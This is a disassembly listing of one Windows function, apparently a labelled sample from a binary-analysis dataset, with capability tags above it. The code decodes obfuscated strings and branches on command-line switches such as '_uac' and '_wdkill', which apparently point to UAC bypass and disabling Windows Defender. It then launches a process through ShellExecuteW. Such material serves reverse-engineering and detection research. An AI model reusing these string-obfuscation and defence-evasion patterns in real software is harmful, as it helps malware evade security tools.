Function at 0x50e8e7
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
mov eax, 0x6d62ab
call fcn.006b9c3c
push ecx
mov eax, 0x1894
call fcn.0068aad0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov byte [ebp - 4], 1
xor eax, eax
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x18], 0x4b
mov ecx, ebx
mov dword [ebp - 0x60], ecx
push 0x7f
pop esi
mov dword [ebp - 0x14], esi
cmp ecx, 1
jae 0x50e951
push 0x71
pop eax
sub eax, dword [ebp + ecx*4 - 0x18]
imul eax, eax, 0x12
cdq
idiv esi
lea eax, [esi + edx]
cdq
idiv esi
mov byte [ebp + ecx - 0x1c], dl
inc ecx
mov dword [ebp - 0x60], ecx
jmp 0x50e92f
mov byte [ebp - 0x1b], bl
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
xor edi, edi
inc edi
cmp eax, edi
jne 0x50e9a7
mov byte [ebp - 0x1d], bl
mov eax, fcn.00477bd4
mov ecx, 0x18d
add eax, ecx
push ecx
push eax
lea ecx, [ebp - 0x1d]
call fcn.00514aa3
pop ecx
pop ecx
mov byte [ebp - 4], bl
test ebx, ebx
je 0x50e992
mov ecx, ebx
call fcn.0040f5b8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x24], edi
jle 0x50f7fd
push dword [esi + 4]
lea ecx, [ebp - 0x98]
call fcn.004a63fc
mov byte [ebp - 4], 2
push 0x73ec78
lea ecx, [ebp - 0x98]
call fcn.004a6095
test eax, eax
jne 0x50ec55
push dword [esi + 8]
call fcn.006965ba
xor dl, dl
mov ecx, eax
call fcn.0043362e
lea ecx, [ebp - 0x1404]
call fcn.005114d8
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x28], ecx
cmp ecx, 0x3b
jae 0x50ea35
mov eax, dword [esi + ecx*4 + 0x3c]
sub eax, 0xb
imul eax, eax, 0xf
cdq
idiv dword [ebp - 0x14]
push 0x7f
pop eax
add eax, edx
cdq
idiv dword [ebp - 0x14]
mov byte [ecx + esi], dl
inc ecx
jmp 0x50ea10
mov byte [esi + 0x3b], bl
push esi
lea ecx, [ebp - 0x2e4]
call fcn.00411aae
mov byte [ebp - 4], 3
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x2e4]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x3d4]
call fcn.00430de5
add esp, 0x18
push ebx
push edi
lea ecx, [ebp - 0x3d4]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x2e4]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xedc]
call fcn.00511357
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x33
jae 0x50eac4
push 6
pop eax
sub eax, dword [esi + ecx*4 + 0x34]
imul eax, eax, 0x18
cdq
idiv dword [ebp - 0x14]
push 0x7f
pop eax
add eax, edx
cdq
idiv dword [ebp - 0x14]
mov byte [esi + ecx], dl
inc ecx
jmp 0x50ea9f
mov byte [esi + 0x33], bl
push esi
lea ecx, [ebp - 0x2fc]
call fcn.00411aae
mov byte [ebp - 4], 5
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x2fc]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 6
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x434]
call fcn.00430de5
add esp, 0x18
push ebx
push edi
lea ecx, [ebp - 0x434]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x2fc]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xa3c]
call fcn.00511205
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x30], esi
cmp esi, 0x2e
jae 0x50eb52
mov ecx, dword [edi + esi*4 + 0x30]
sub ecx, 0x47
imul eax, ecx, 0x33
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [esi + edi], dl
inc esi
jmp 0x50eb2e
mov byte [edi + 0x2e], bl
push edi
lea ecx, [ebp - 0x314]
call fcn.00411aae
mov byte [ebp - 4], 7
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x314]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 8
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x50c]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x50c]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x314]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x624]
call fcn.005110e2
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x34], esi
cmp esi, 0x28
jae 0x50ebe2
mov ecx, dword [edi + esi*4 + 0x2c]
sub ecx, 0x7a
imul eax, ecx, 0x13
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50ebbe
mov byte [edi + 0x28], bl
push edi
lea ecx, [ebp - 0x14c]
call fcn.00411aae
mov byte [ebp - 4], 9
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x14c]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0xa
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x32c]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x32c]
call fcn.00411bc8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14c]
push ebx
push 1
call fcn.00411bc8
mov byte [ebp - 4], 1
push ebx
push 1
lea ecx, [ebp - 0x98]
call fcn.004ab703
jmp 0x50e984
push str._tsc
lea ecx, [ebp - 0x98]
call fcn.004a6095
test eax, eax
jne 0x50f027
push ecx
lea ecx, [ebp - 0x558]
call fcn.00511074
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x38], esi
cmp esi, 0xf
jae 0x50eca1
mov ecx, dword [edi + esi*4 + 0x10]
sub ecx, 0x62
imul eax, ecx, 0xa
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50ec7d
mov byte [edi + 0xf], bl
push edi
lea ecx, [ebp - 0x17c]
call fcn.00411aae
mov byte [ebp - 4], 0xb
xor eax, eax
lea edi, [ebp - 0x134]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
movaps xmm0, xmmword [0x747570]
movups xmmword [ebp - 0x128], xmm0
movaps xmm0, xmmword [0x746340]
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0x70
mov ecx, ebx
push 0x7f
pop esi
mov dword [ebp - 0x3c], ecx
cmp ecx, 9
jae 0x50ed13
push 0x4b
pop eax
sub eax, dword [ebp + ecx*4 - 0x128]
imul eax, eax, 0xb
cdq
idiv esi
lea eax, [esi + edx]
cdq
idiv esi
mov byte [ebp + ecx - 0x134], dl
inc ecx
jmp 0x50eceb
mov byte [ebp - 0x12b], bl
lea eax, [ebp - 0x134]
push eax
lea ecx, [ebp - 0x164]
call fcn.00411aae
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x374]
call fcn.00476c03
mov edi, eax
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x35c]
call fcn.00461060
mov esi, eax
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x344]
call fcn.00461060
mov byte [ebp - 4], 0xf
cmp dword [edi + 0x14], 8
jb 0x50ed74
mov edi, dword [edi]
cmp dword [esi + 0x14], 8
jb 0x50ed7c
mov esi, dword [esi]
cmp dword [eax + 0x14], 8
jb 0x50ed84
mov eax, dword [eax]
push ebx
push edi
push esi
push eax
push str.Open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov byte [ebp - 4], 0xe
push ebx
xor edi, edi
inc edi
push edi
lea ecx, [ebp - 0x344]
call fcn.004ab703
mov byte [ebp - 4], 0xd
push ebx
push edi
lea ecx, [ebp - 0x35c]
call fcn.004ab703
mov byte [ebp - 4], 0xc
push ebx
push edi
lea ecx, [ebp - 0x374]
call fcn.004ab703
mov byte [ebp - 4], 0xb
push ebx
push edi
lea ecx, [ebp - 0x164]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x17c]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x152c]
call fcn.00510eb3
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x40], ecx
cmp ecx, 0x3b
jae 0x50ee21
mov eax, dword [esi + ecx*4 + 0x3c]
sub eax, 0x6b
imul eax, eax, 0x37
cdq
idiv dword [ebp - 0x14]
push 0x7f
pop eax
add eax, edx
cdq
idiv dword [ebp - 0x14]
mov byte [ecx + esi], dl
inc ecx
jmp 0x50edfc
mov byte [esi + 0x3b], bl
push esi
lea ecx, [ebp - 0x194]
call fcn.00411aae
mov byte [ebp - 4], 0x10
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x194]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x11
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x38c]
call fcn.00430de5
add esp, 0x18
push ebx
push edi
lea ecx, [ebp - 0x38c]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x194]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xfdc]
call fcn.00510d38
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x44], ecx
cmp ecx, 0x33
jae 0x50eeb0
mov eax, dword [esi + ecx*4 + 0x34]
sub eax, 0x12
imul eax, eax, 9
cdq
idiv dword [ebp - 0x14]
push 0x7f
pop eax
add eax, edx
cdq
idiv dword [ebp - 0x14]
mov byte [esi + ecx], dl
inc ecx
jmp 0x50ee8b
mov byte [esi + 0x33], bl
push esi
lea ecx, [ebp - 0x1ac]
call fcn.00411aae
mov byte [ebp - 4], 0x12
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x1ac]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x13
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x3a4]
call fcn.00430de5
add esp, 0x18
push ebx
push edi
lea ecx, [ebp - 0x3a4]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0x1ac]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xb24]
call fcn.00510be6
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x48], esi
cmp esi, 0x2e
jae 0x50ef3e
push 0x7d
pop ecx
sub ecx, dword [edi + esi*4 + 0x30]
imul eax, ecx, 0x28
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50ef1a
mov byte [edi + 0x2e], bl
push edi
lea ecx, [ebp - 0x1c4]
call fcn.00411aae
mov byte [ebp - 4], 0x14
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x1c4]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x15
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x3bc]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x3bc]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x1c4]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x6f0]
call fcn.00510ac3
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x4c], esi
cmp esi, 0x28
jae 0x50efce
mov ecx, dword [edi + esi*4 + 0x2c]
sub ecx, 0x5c
imul eax, ecx, 0xc
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50efaa
mov byte [edi + 0x28], bl
push edi
lea ecx, [ebp - 0xd4]
call fcn.00411aae
mov byte [ebp - 4], 0x16
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0xd4]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xec]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0xec]
call fcn.00411bc8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xd4]
jmp 0x50ec36
push str._uac
lea ecx, [ebp - 0x98]
call fcn.004a6095
test eax, eax
jne 0x50f2d5
push dword [esi + 8]
lea ecx, [ebp - 0xd4]
call fcn.004a63fc
mov byte [ebp - 4], 0x18
push ecx
lea ecx, [ebp - 0xd4]
call fcn.00508ad3
pop ecx
mov esi, eax
mov byte [ebp - 4], 2
push ebx
push edi
lea ecx, [ebp - 0xd4]
call fcn.004ab703
mov edx, esi
lea ecx, [ebp - 0xec]
call fcn.00459a61
push ebx
push edi
lea ecx, [ebp - 0xec]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x1654]
call fcn.00510905
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x50], esi
cmp esi, 0x3b
jae 0x50f0bf
mov ecx, dword [edi + esi*4 + 0x3c]
sub ecx, 0x57
imul eax, ecx, 0x25
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f09b
mov byte [edi + 0x3b], bl
push edi
lea ecx, [ebp - 0x1dc]
call fcn.00411aae
mov byte [ebp - 4], 0x19
sub esp, 0x18
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0x1dc]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x1a
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x3ec]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x3ec]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x1dc]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x10dc]
call fcn.00510789
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x54], esi
cmp esi, 0x33
jae 0x50f14f
push 0x1a
pop ecx
sub ecx, dword [edi + esi*4 + 0x34]
imul eax, ecx, 0x18
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f12b
mov byte [edi + 0x33], bl
push edi
lea ecx, [ebp - 0x1f4]
call fcn.00411aae
mov byte [ebp - 4], 0x1b
sub esp, 0x18
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0x1f4]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x404]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x404]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x1f4]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xc0c]
call fcn.00510637
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x58], esi
cmp esi, 0x2e
jae 0x50f1df
mov ecx, dword [edi + esi*4 + 0x30]
sub ecx, 0x4d
imul eax, ecx, 0x1f
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f1bb
mov byte [edi + 0x2e], bl
push edi
lea ecx, [ebp - 0x20c]
call fcn.00411aae
mov byte [ebp - 4], 0x1d
sub esp, 0x18
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0x20c]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x1e
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x41c]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x41c]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x20c]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x7bc]
call fcn.00510514
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x5c], esi
cmp esi, 0x28
jae 0x50f26f
mov ecx, dword [edi + esi*4 + 0x2c]
sub ecx, 0x1e
imul eax, ecx, 0x19
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f24b
mov byte [edi + 0x28], bl
push edi
lea ecx, [ebp - 0xbc]
call fcn.00411aae
mov byte [ebp - 4], 0x1f
sub esp, 0x18
mov dword [ebp - 0x14], esp
lea edx, [ebp - 0xbc]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x104]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x104]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0xbc]
call fcn.00411bc8
mov byte [0x7a00f3], 1
mov esi, dword [ebp - 0x18]
push str._prs
lea ecx, [ebp - 0x98]
call fcn.004a6095
test eax, eax
jne 0x50f587
push dword [esi + 8]
lea ecx, [ebp - 0xbc]
call fcn.004a63fc
mov byte [ebp - 4], 0x21
push ecx
lea ecx, [ebp - 0xbc]
call fcn.00508ad3
pop ecx
mov esi, eax
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0xbc]
call fcn.004ab703
mov edx, esi
lea ecx, [ebp - 0x104]
call fcn.00459a61
push ebx
push 1
lea ecx, [ebp - 0x104]
call fcn.00411bc8
call fcn.0047e7dd
push ecx
lea ecx, [ebp - 0x177c]
call fcn.00510355
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x64], esi
cmp esi, 0x3b
jae 0x50f374
push 0x35
pop ecx
sub ecx, dword [edi + esi*4 + 0x3c]
imul eax, ecx, 0xb
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f350
mov byte [edi + 0x3b], bl
push edi
lea ecx, [ebp - 0x224]
call fcn.00411aae
mov byte [ebp - 4], 0x22
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x224]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x23
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x44c]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x44c]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x224]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x11dc]
call fcn.005101d4
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x68], esi
cmp esi, 0x33
jae 0x50f404
push 0x3e
pop ecx
sub ecx, dword [edi + esi*4 + 0x34]
imul eax, ecx, 0x12
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f3e0
mov byte [edi + 0x33], bl
push edi
lea ecx, [ebp - 0x23c]
call fcn.00411aae
mov byte [ebp - 4], 0x24
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x23c]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x464]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x464]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x23c]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xcf4]
call fcn.00510082
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x6c], esi
cmp esi, 0x2e
jae 0x50f494
push 0x63
pop ecx
sub ecx, dword [edi + esi*4 + 0x30]
imul eax, ecx, 0x1b
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f470
mov byte [edi + 0x2e], bl
push edi
lea ecx, [ebp - 0x254]
call fcn.00411aae
mov byte [ebp - 4], 0x26
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x254]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x27
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x47c]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x47c]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x254]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x888]
call fcn.0050ff5f
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x70], esi
cmp esi, 0x28
jae 0x50f524
mov ecx, dword [edi + esi*4 + 0x2c]
sub ecx, 0x50
imul eax, ecx, 9
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f500
mov byte [edi + 0x28], bl
push edi
lea ecx, [ebp - 0x26c]
call fcn.00411aae
mov byte [ebp - 4], 0x28
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x26c]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x29
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x494]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x494]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x26c]
call fcn.00411bc8
mov byte [0x7a00f1], 1
push str._wdkill
lea ecx, [ebp - 0x98]
call fcn.004a6095
test eax, eax
jne 0x50f7eb
call fcn.0047ec0b
push ecx
lea ecx, [ebp - 0x18a4]
call fcn.0050fd9e
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x74], esi
cmp esi, 0x3b
jae 0x50f5d8
push 0x2f
pop ecx
sub ecx, dword [edi + esi*4 + 0x3c]
imul eax, ecx, 0x3f
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f5b4
mov byte [edi + 0x3b], bl
push edi
lea ecx, [ebp - 0x284]
call fcn.00411aae
mov byte [ebp - 4], 0x2a
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x284]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x2b
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4ac]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x284]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x12dc]
call fcn.0050fc20
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x78], esi
cmp esi, 0x33
jae 0x50f668
push 0x2a
pop ecx
sub ecx, dword [edi + esi*4 + 0x34]
imul eax, ecx, 0x27
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f644
mov byte [edi + 0x33], bl
push edi
lea ecx, [ebp - 0x29c]
call fcn.00411aae
mov byte [ebp - 4], 0x2c
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x29c]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x2d
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x4c4]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x4c4]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x29c]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0xddc]
call fcn.0050fad1
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x7c], esi
cmp esi, 0x2e
jae 0x50f6f8
mov ecx, dword [edi + esi*4 + 0x30]
sub ecx, 0x6b
imul eax, ecx, 0x25
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f6d4
mov byte [edi + 0x2e], bl
push edi
lea ecx, [ebp - 0x2b4]
call fcn.00411aae
mov byte [ebp - 4], 0x2e
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x2b4]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x2f
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x4dc]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x4dc]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x2b4]
call fcn.00411bc8
push ecx
lea ecx, [ebp - 0x954]
call fcn.0050f9ae
mov edi, eax
mov esi, ebx
mov dword [ebp - 0x80], esi
cmp esi, 0x28
jae 0x50f788
push 0x20
pop ecx
sub ecx, dword [edi + esi*4 + 0x2c]
imul eax, ecx, 0x2d
cdq
push 0x7f
pop ecx
idiv ecx
lea eax, [ecx + edx]
cdq
idiv ecx
mov byte [edi + esi], dl
inc esi
jmp 0x50f764
mov byte [edi + 0x28], bl
push edi
lea ecx, [ebp - 0x2cc]
call fcn.00411aae
mov byte [ebp - 4], 0x30
sub esp, 0x18
mov dword [ebp - 0x18], esp
lea edx, [ebp - 0x2cc]
mov ecx, esp
call fcn.00461060
mov byte [ebp - 4], 0x31
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x4f4]
call fcn.00430de5
add esp, 0x18
push ebx
push 1
lea ecx, [ebp - 0x4f4]
call fcn.00411bc8
mov byte [ebp - 4], 2
push ebx
push 1
lea ecx, [ebp - 0x2cc]
call fcn.00411bc8
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov byte [ebp - 4], 1
push ebx
push 1
lea ecx, [ebp - 0x98]
call fcn.004ab703
mov eax, 0x50e812
mov ecx, 0x276
add eax, ecx
push ecx
push eax
call fcn.00514b4e
pop ecx
pop ecx
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x50f812